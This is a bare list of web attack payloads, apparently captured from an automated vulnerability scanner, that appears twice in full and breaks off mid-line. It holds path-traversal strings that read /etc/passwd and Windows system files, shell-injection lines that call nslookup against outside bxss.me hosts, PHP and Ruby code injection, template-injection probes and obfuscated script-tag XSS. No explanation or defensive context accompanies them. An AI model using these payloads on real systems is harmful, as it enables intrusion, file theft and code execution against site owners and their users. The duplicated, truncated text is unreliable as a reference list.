1
&n968143=v903865
WvVsgP7n
${9999491+9999868}
1QyGqgckrO
/xfs.bxss.me
956430
http://xfs.bxss.me
HttP://bxss.me/t/xss.html?%00
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
//xfs.bxss.me
bxss.me/t/xss.html?%00
/\xfs.bxss.me
12345'"\'\");|]*%00{%0d%0a%bf%27'????
'"
"+"A".concat(70-3).concat(22*4).concat(116).concat(81).concat(97).concat(88)+(require"socket" Socket.gethostbyname("hitcv"+"eqkvhrpq13700.bxss.me.")[3].to_s)+"
)
'+'A'.concat(70-3).concat(22*4).concat(119).concat(78).concat(118).concat(69)+(require'socket' Socket.gethostbyname('hitbv'+'cenpjewvce22d.bxss.me.')[3].to_s)+'
!(()&&!|*|*|
'.gethostbyname(lc('hitax'.'xixdeiridc243.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(106).chr(65).chr(108).chr(84).'
^(#$!@#$)(()))******
response.write(9785034*9011034)
".gethostbyname(lc("hitxi"."gkcotcqlcb119.bxss.me."))."A".chr(67).chr(hex("58")).chr(122).chr(81).chr(122).chr(81)."
'+response.write(9785034*9011034)+'
"+response.write(9785034*9011034)+"
http://some-inexistent-website.acu/some_inexistent_file_with_long_name%3F.jpg
1some_inexistent_file_with_long_name%00.jpg
Http://bxss.me/t/fit.txt
http://bxss.me/t/fit.txt%3F.jpg
bxss.me
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
';print(md5(31337));$a='
";print(md5(31337));$a="
${@print(md5(31337))}
${@print(md5(31337))}\
'.print(md5(31337)).'
echo vsumok$()\ hutsgy\nz^xyu||a #' &echo vsumok$()\ hutsgy\nz^xyu||a #|" &echo vsumok$()\ hutsgy\nz^xyu||a #
&echo wqjvhx$()\ ascmvw\nz^xyu||a #' &echo wqjvhx$()\ ascmvw\nz^xyu||a #|" &echo wqjvhx$()\ ascmvw\nz^xyu||a #
|echo aecqav$()\ bciseo\nz^xyu||a #' |echo aecqav$()\ bciseo\nz^xyu||a #|" |echo aecqav$()\ bciseo\nz^xyu||a #
(nslookup hitjlefesnwhx79bcc.bxss.me||perl -e "gethostbyname('hitjlefesnwhx79bcc.bxss.me')")
$(nslookup hitzvotaubxmpa396e.bxss.me||perl -e "gethostbyname('hitzvotaubxmpa396e.bxss.me')")
&(nslookup hitudjdsawoao08acc.bxss.me||perl -e "gethostbyname('hitudjdsawoao08acc.bxss.me')")&'\"`0&(nslookup hitudjdsawoao08acc.bxss.me||perl -e "gethostbyname('hitudjdsawoao08acc.bxss.me')")&`'
|(nslookup hitmimctgsgpn6b85c.bxss.me||perl -e "gethostbyname('hitmimctgsgpn6b85c.bxss.me')")
`(nslookup hitcrlxnbcnya7e843.bxss.me||perl -e "gethostbyname('hitcrlxnbcnya7e843.bxss.me')")`
;(nslookup hitybczwfjdjo61356.bxss.me||perl -e "gethostbyname('hitybczwfjdjo61356.bxss.me')")|(nslookup hitybczwfjdjo61356.bxss.me||perl -e "gethostbyname('hitybczwfjdjo61356.bxss.me')")&(nslookup hitybczwfjdjo61356.bxss.me||perl -e "gethostbyname('hitybczwfjdjo61356.bxss.me')")
../../../../../../../../../../../../../../etc/passwd
../../../../../../../../../../../../../../windows/win.ini
../../../../../../../../../../../../../../../proc/version
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
../../../../../../../../../../etc/passwd%00.jpg
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg
/../..//../..//../..//../..//../..//etc/passwd%00.jpg
.\\./.\\./.\\./.\\./.\\./.\\./etc/passwd
/etc/passwd
%2fetc%2fpasswd
/.././.././.././.././.././.././.././../etc/./passwd%00
../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd
../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd
../././../././../././../././../././../././../././../././../././../././etc/passwd
..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afetc/passwd
invalid../../../../../../../../../../etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.
file:///etc/passwd
/\../\../\../\../\../\../\../etc/passwd
/WEB-INF/web.xml
C:\WINDOWS\system32\drivers\etc\hosts
../../../../../../../../../../windows/win.ini%00.jpg
/../../../../../../../../../../boot.ini
1'"()&%bYnJ(9210)
%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afwindows%c0%afwin.ini
'"()&%bYnJ(9579)
..\..\..\..\..\..\..\..\windows\win.ini
19326636
..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5cwin.ini
/.\\./.\\./.\\./.\\./.\\./.\\./windows/win.ini
../..//../..//../..//../..//../..//../..//../..//../..//windows/win.ini
acu2167%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca2167
../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././windows/win.ini
acux9335%C0%BEz1%C0%BCz2a%90bcxuca9335
unexisting/../../../../../../../../../../windows/win.ini.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\
WEB-INF/web.xml
WEB-INF\web.xml
1}}"}}'}}1%>"%>'%>
acx{{98991*97996}}xca
acx[[${98991*97996}]]xca
acx__${98991*97996}__::.x
"acxzzzzzzzzbbbccccdddeeexca".replace("z","o")
1bYnJ(9815)
1WNZMI[!+!]
1bYnJ(9597)
1%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%62%59%6E%4A%28%39%36%38%33%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E
1bYnJ(9686)
1bYnJ(9642)
%31%3C%53%63%52%69%50%74%20%3E%62%59%6E%4A%289051%29%3C%2F%73%43%72%69%70%54%3E
1\u003CScRiPt\bYnJ(9604)\u003C/sCripT\u003E
1<ScRiPt>bYnJ(9545)</sCripT>
?
1}body{acu:Expre/**/SSion(bYnJ(9565))}
1g1klg bYnJ(9041)
1IKA2L[!+!]
1'"()&%mb2Z(9227)
'"()&%mb2Z(9341)
19914657
acu2097%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca2097
acux6525%C0%BEz1%C0%BCz2a%90bcxuca6525
1mb2Z(9446)
1B8YIR[!+!]
1mb2Z(9102)
1%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%6D%62%32%5A%28%39%32%32%31%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E
1mb2Z(9780)
1mb2Z(9051)
%31%3C%53%63%52%69%50%74%20%3E%6D%62%32%5A%289028%29%3C%2F%73%43%72%69%70%54%3E
1\u003CScRiPt\mb2Z(9742)\u003C/sCripT\u003E
1<ScRiPt>mb2Z(9434)</sCripT>
1}body{acu:Expre/**/SSion(mb2Z(9972))}
1XnDtg mb2Z(9579)
10EQ35[!+!]
1'"()&%ADyZ(9689)
'"()&%ADyZ(9815)
19869260
acu4402%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca4402
acux7568%C0%BEz1%C0%BCz2a%90bcxuca7568
1ADyZ(9704)
1PXPLK[!+!]
1ADyZ(9285)
1%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%41%44%79%5A%28%39%38%35%35%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E
1ADyZ(9155)
1ADyZ(9369)
%31%3C%53%63%52%69%50%74%20%3E%41%44%79%5A%289399%29%3C%2F%73%43%72%69%70%54%3E
1\u003CScRiPt\ADyZ(9646)\u003C/sCripT\u003E
1<ScRiPt>ADyZ(9262)</sCripT>
1}body{acu:Expre/**/SSion(ADyZ(9826))}
1IrLjL ADyZ(9045)
1BG6KL[!+!]
1'"()&%j8iE(9463)
'"()&%j8iE(9493)
19673408
acu9463%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca9463
acux9652%C0%BEz1%C0%BCz2a%90bcxuca9652
1j8iE(9326)
1MUBMN[!+!]
1j8iE(9931)
1%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%6A%38%69%45%28%39%36%39%30%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E
1j8iE(9191)
1j8iE(9852)
%31%3C%53%63%52%69%50%74%20%3E%6A%38%69%45%289953%29%3C%2F%73%43%72%69%70%54%3E
1\u003CScRiPt\j8iE(9087)\u003C/sCripT\u003E
1<ScRiPt>j8iE(9358)</sCripT>
1}body{acu:Expre/**/SSion(j8iE(9134))}
144nel j8iE(9718)
1U2AF5[!+!]
1'"()&%r094(9753)
'"()&%r094(9174)
19795932
acu4996%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca4996
acux4165%C0%BEz1%C0%BCz2a%90bcxuca4165
1r094(9936)
1F47EZ[!+!]
1r094(9736)
1%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%72%30%39%34%28%39%31%39%35%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E
1r094(9698)
1r094(9507)
%31%3C%53%63%52%69%50%74%20%3E%72%30%39%34%289926%29%3C%2F%73%43%72%69%70%54%3E
1\u003CScRiPt\r094(9496)\u003C/sCripT\u003E
1<ScRiPt>r094(9115)</sCripT>
1}body{acu:Expre/**/SSion(r094(9826))}
14EBWF r094(9272)
1PKYQP[!+!]
з>
1
1
&n968143=v903865
WvVsgP7n
${9999491+9999868}
1QyGqgckrO
/xfs.bxss.me
956430
http://xfs.bxss.me
HttP://bxss.me/t/xss.html?%00
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
//xfs.bxss.me
bxss.me/t/xss.html?%00
/\xfs.bxss.me
12345'"\'\");|]*%00{%0d%0a%bf%27'????
'"
"+"A".concat(70-3).concat(22*4).concat(116).concat(81).concat(97).concat(88)+(require"socket" Socket.gethostbyname("hitcv"+"eqkvhrpq13700.bxss.me.")[3].to_s)+"
)
'+'A'.concat(70-3).concat(22*4).concat(119).concat(78).concat(118).concat(69)+(require'socket' Socket.gethostbyname('hitbv'+'cenpjewvce22d.bxss.me.')[3].to_s)+'
!(()&&!|*|*|
'.gethostbyname(lc('hitax'.'xixdeiridc243.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(106).chr(65).chr(108).chr(84).'
^(#$!@#$)(()))******
response.write(9785034*9011034)
".gethostbyname(lc("hitxi"."gkcotcqlcb119.bxss.me."))."A".chr(67).chr(hex("58")).chr(122).chr(81).chr(122).chr(81)."
'+response.write(9785034*9011034)+'
"+response.write(9785034*9011034)+"
http://some-inexistent-website.acu/some_inexistent_file_with_long_name%3F.jpg
1some_inexistent_file_with_long_name%00.jpg
Http://bxss.me/t/fit.txt
http://bxss.me/t/fit.txt%3F.jpg
bxss.me
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
';print(md5(31337));$a='
";print(md5(31337));$a="
${@print(md5(31337))}
${@print(md5(31337))}\
'.print(md5(31337)).'
echo vsumok$()\ hutsgy\nz^xyu||a #' &echo vsumok$()\ hutsgy\nz^xyu||a #|" &echo vsumok$()\ hutsgy\nz^xyu||a #
&echo wqjvhx$()\ ascmvw\nz^xyu||a #' &echo wqjvhx$()\ ascmvw\nz^xyu||a #|" &echo wqjvhx$()\ ascmvw\nz^xyu||a #
|echo aecqav$()\ bciseo\nz^xyu||a #' |echo aecqav$()\ bciseo\nz^xyu||a #|" |echo aecqav$()\ bciseo\nz^xyu||a #
(nslookup hitjlefesnwhx79bcc.bxss.me||perl -e "gethostbyname('hitjlefesnwhx79bcc.bxss.me')")
$(nslookup hitzvotaubxmpa396e.bxss.me||perl -e "gethostbyname('hitzvotaubxmpa396e.bxss.me')")
&(nslookup hitudjdsawoao08acc.bxss.me||perl -e "gethostbyname('hitudjdsawoao08acc.bxss.me')")&'\"`0&(nslookup hitudjdsawoao08acc.bxss.me||perl -e "gethostbyname('hitudjdsawoao08acc.bxss.me')")&`'
|(nslookup hitmimctgsgpn6b85c.bxss.me||perl -e "gethostbyname('hitmimctgsgpn6b85c.bxss.me')")
`(nslookup hitcrlxnbcnya7e843.bxss.me||perl -e "gethostbyname('hitcrlxnbcnya7e843.bxss.me')")`
;(nslookup hitybczwfjdjo61356.bxss.me||perl -e "gethostbyname('hitybczwfjdjo61356.bxss.me')")|(nslookup hitybczwfjdjo61356.bxss.me||perl -e "gethostbyname('hitybczwfjdjo61356.bxss.me')")&(nslookup hitybczwfjdjo61356.bxss.me||perl -e "gethostbyname('hitybczwfjdjo61356.bxss.me')")
../../../../../../../../../../../../../../etc/passwd
../../../../../../../../../../../../../../windows/win.ini
../../../../../../../../../../../../../../../proc/version
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
../../../../../../../../../../etc/passwd%00.jpg
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg
/../..//../..//../..//../..//../..//etc/passwd%00.jpg
.\\./.\\./.\\./.\\./.\\./.\\./etc/passwd
/etc/passwd
%2fetc%2fpasswd
/.././.././.././.././.././.././.././../etc/./passwd%00
../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd
../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd
../././../././../././../././../././../././../././../././../././../././etc/passwd
..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afetc/passwd
invalid../../../../../../../../../../etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.
file:///etc/passwd
/\../\../\../\../\../\../\../etc/passwd
/WEB-INF/web.xml
C:\WINDOWS\system32\drivers\etc\hosts
../../../../../../../../../../windows/win.ini%00.jpg
/../../../../../../../../../../boot.ini
1'"()&%bYnJ(9210)
%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afwindows%c0%afwin.ini
'"()&%bYnJ(9579)
..\..\..\..\..\..\..\..\windows\win.ini
19326636
..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5cwin.ini
/.\\./.\\./.\\./.\\./.\\./.\\./windows/win.ini
../..//../..//../..//../..//../..//../..//../..//../..//windows/win.ini
acu2167%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca2167
../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././windows/win.ini
acux9335%C0%BEz1%C0%BCz2a%90bcxuca9335
unexisting/../../../../../../../../../../windows/win.ini.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\